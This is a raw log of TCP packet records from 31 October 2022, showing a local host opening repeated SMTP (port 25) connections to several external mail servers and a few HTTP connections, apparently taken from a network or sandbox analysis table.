Oct 31, 2022 12:19:57.412327051 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.537659883 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.540498018 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.540524006 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.540537119 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.540550947 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.540563107 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.540575981 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.540586948 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.540597916 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.540608883 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.540621996 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.540668964 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:57.540738106 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:57.540762901 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:57.610724926 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:57.610985994 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:19:57.811119080 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:57.811451912 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:19:57.904460907 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904522896 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904555082 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904582024 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904623032 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904649973 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904665947 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:57.904665947 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:57.904665947 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:57.904675961 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904704094 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904731989 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904757977 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904784918 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904788971 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:57.904788971 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:57.904788971 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:57.904789925 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:57.904812098 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904834986 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:57.904838085 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904865980 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904894114 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904923916 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904952049 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.904978037 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.905005932 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.905039072 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.010196924 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:58.012594938 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:58.012866974 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:19:58.211966038 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:58.212322950 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:19:58.268518925 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.268551111 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.268567085 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.268590927 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.268604040 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.268646955 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.268681049 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.268692970 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.268788099 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.268800020 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.268847942 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.268877029 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.268908024 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.268964052 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.269149065 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.269160986 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.269217968 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.269228935 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.416134119 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:58.422146082 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:58.422362089 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:19:58.503166914 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.503333092 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:58.503501892 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:58.503671885 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:58.621491909 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:58.621664047 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:19:58.623645067 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:19:58.822653055 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:58.822695017 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:58.822712898 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:58.822724104 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:58.822737932 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:58.822858095 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:19:58.822952986 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:19:58.828120947 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:58.828267097 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:19:58.866944075 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:59.021552086 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021598101 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021615028 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021627903 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021637917 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021656990 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021668911 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021682024 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021692991 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021707058 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021723032 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021739960 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021755934 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021771908 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:19:59.021773100 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021771908 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:19:59.021787882 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021804094 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021819115 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.021827936 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:19:59.021836042 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.026855946 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.026909113 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220484972 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220535040 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220562935 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220588923 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220618963 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220657110 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220685959 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220715046 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220741987 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220772028 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220801115 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220827103 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220853090 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220879078 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220904112 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220931053 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220957994 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.220988989 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.237467051 CET	49834	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:59.314409018 CET	49835	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:59.314785957 CET	49836	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:59.344300985 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.371757030 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.371809959 CET	25	49834	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:59.371933937 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.374820948 CET	49834	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:59.399873018 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.419167042 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.446369886 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.449295044 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.449510098 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.458643913 CET	25	49835	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:59.458739996 CET	49835	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:59.458755016 CET	25	49836	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:59.458817959 CET	49836	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:59.476855993 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.477056026 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.509545088 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.515594006 CET	25	49834	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:59.532519102 CET	49834	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:59.612181902 CET	25	49835	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:59.612859011 CET	25	49836	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:59.622004986 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.638192892 CET	49835	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:59.638279915 CET	49836	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:59.638335943 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.665380001 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.665829897 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.666007042 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.667113066 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.667543888 CET	25	49834	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:59.677190065 CET	49834	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:19:59.694209099 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.694242954 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.694262981 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.694302082 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.694349051 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.694365025 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.694365025 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.694412947 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.694473982 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.694538116 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.699430943 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.699527025 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.721673965 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.721765995 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.721800089 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.721824884 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.721869946 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.721898079 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.721923113 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.721950054 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.721976042 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.721982956 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.721982956 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.722002029 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.722028971 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.722047091 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.722047091 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.722047091 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.722048044 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.722058058 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.722079992 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.722084999 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.722112894 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.722137928 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.722165108 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.722191095 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.722217083 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.726588011 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.726630926 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749361992 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749420881 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749452114 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749481916 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749510050 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749538898 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749563932 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749591112 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749618053 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749646902 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749674082 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749700069 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749728918 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749759912 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749784946 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749810934 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749917030 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.749948025 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.751841068 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:59.784058094 CET	25	49835	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:59.784097910 CET	25	49836	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:59.803651094 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:59.812606096 CET	25	49834	104.47.59.138	192.168.2.5
Oct 31, 2022 12:19:59.832257986 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.832321882 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:19:59.832482100 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:19:59.834852934 CET	49835	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:59.834852934 CET	49836	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:59.881851912 CET	49834	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:20:00.174144030 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:00.176686049 CET	49835	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:00.176975965 CET	49836	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:00.177254915 CET	49834	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:20:00.177340031 CET	49833	25	192.168.2.5	173.194.202.27
Oct 31, 2022 12:20:00.201472044 CET	25	49837	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:00.201584101 CET	49837	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:00.222342968 CET	80	49811	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:00.222484112 CET	49811	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:00.223938942 CET	49811	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:00.242624044 CET	80	49811	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:00.286931992 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:00.295157909 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:00.312931061 CET	25	49834	104.47.59.138	192.168.2.5
Oct 31, 2022 12:20:00.320508957 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:00.320741892 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:00.321291924 CET	25	49835	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:00.321314096 CET	25	49836	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:00.326262951 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:00.326445103 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:00.346540928 CET	49834	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:20:00.346839905 CET	49835	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:00.346946001 CET	49836	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:00.354010105 CET	49841	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:00.355652094 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:00.355871916 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:00.366244078 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:00.366400003 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:00.372649908 CET	80	49841	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:00.372726917 CET	49841	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:00.372936010 CET	49841	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:00.376307964 CET	25	49833	173.194.202.27	192.168.2.5
Oct 31, 2022 12:20:00.389520884 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:00.391292095 CET	80	49841	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:00.392941952 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:00.393156052 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:00.397068977 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:00.408479929 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:00.427092075 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:00.442298889 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:00.442445040 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:00.478142023 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:00.480935097 CET	25	49834	104.47.59.138	192.168.2.5
Oct 31, 2022 12:20:00.481034994 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:00.481059074 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:00.481945038 CET	25	49834	104.47.59.138	192.168.2.5
Oct 31, 2022 12:20:00.482036114 CET	49834	25	192.168.2.5	104.47.59.138
Oct 31, 2022 12:20:00.522530079 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:00.528749943 CET	25	49835	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:00.528794050 CET	25	49836	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:00.535036087 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:00.569974899 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:00.573765039 CET	80	49841	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:00.573798895 CET	80	49841	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:00.573812962 CET	80	49841	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:00.573924065 CET	49841	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:00.586169958 CET	80	49841	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:00.586349964 CET	49841	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:00.620594978 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:00.663109064 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:00.692800045 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:00.741197109 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:00.817800045 CET	25	49836	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:00.866240025 CET	49836	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:00.897063017 CET	25	49835	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:00.944363117 CET	49835	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:00.980786085 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:00.980797052 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:00.980953932 CET	49836	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:00.981158972 CET	49835	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:01.011725903 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.014348030 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.014796972 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.019828081 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.033870935 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.034910917 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.058197021 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.059570074 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.068491936 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.068600893 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.068644047 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.068685055 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.068725109 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.068783998 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.068784952 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.068784952 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.068908930 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.068908930 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.074193001 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.074362040 CET	49838	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:01.090559006 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.090647936 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.090677023 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.090706110 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.090734959 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.090842009 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.090842009 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.091033936 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.094906092 CET	25	49840	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:01.095050097 CET	49840	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:01.102390051 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.102451086 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.102499962 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.102530003 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.102560043 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.102586031 CET	25	49838	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:01.102802038 CET	25	49838	74.125.140.27	192.168.2.5
